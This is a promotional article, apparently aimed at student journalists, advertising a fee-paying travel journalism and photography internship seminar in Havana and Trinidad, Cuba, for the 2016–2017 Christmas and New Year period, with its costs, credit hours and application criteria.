Dream Internship Opportunity for student journalists

Want to spend this Christmas and/or New Year in the sunshine of central America?

Then the ROOSTERGNN Global News Network’s Travel Journalism & Photography Internship Seminar in Cuba (and Trinidad) with Cultural Immersion Program is the perfect opportunity to combine an exotic holiday with the opportunity to learn some skills that’ll look great on your CV.

Both Havana and the colonial city of Trinidad, where the program takes place have been declared UNESCO World Heritage Sites. There are guided visits and excursions to these cities and more as well as networking dinners. Accommodation was in Cuban colonial ‘boutique’ style houses and there is transportation, 24-hour local support and airport pick-up and drop-off.

The program includes workshops on both journalism and photography, the opportunity to attend editorial meetings, mentoring sessions and tailored feedback on articles from established experts.

Interns also get to create a bi-weekly travel magazine, which will be published by the news agency and include the byline of each intern which can be used as part of your portfolio to show to future employers.

After completing the program, the news agency will certify 80 hours of academic credit for a two-week internship program and 160 hours of academic credit for a four-week internship program. You will also receive travel journalism & photography internship certification and a letter of recommendation, if applicable.

The two week Christmas 2016 Edition is from 19 December 2016 to 2 January 2017 with a tuition fee of 3,500 Euros and the same would apply for the New Year 2017 Edition from 2 January 2017 – 16 January 2017. However a four week Christmas 2016 and New Year 2017 Edition from 19 December 2016 to 16 January 2017 would cost you just under double at 6,500 Euros.

Ideal applicants should demonstrate a true curiosity for travel journalism and photography, be it by having their own travel blog, having collaborated in other travel and/or student publications, or by having a significant social media presence related to student journalism, travel journalism and/or photography. Anyone who knows either English or Spanish is able to apply and all experts, mentors, staff and local support are bilingual in the respective languages.

Opportunities for scholarship and financial aid are also available for those who are interested.

Four Strathclyde University students have previously completed schemes with ROOSTERGNN Global News Network working in Arts & Culture as well as Travel Writing & Photography.
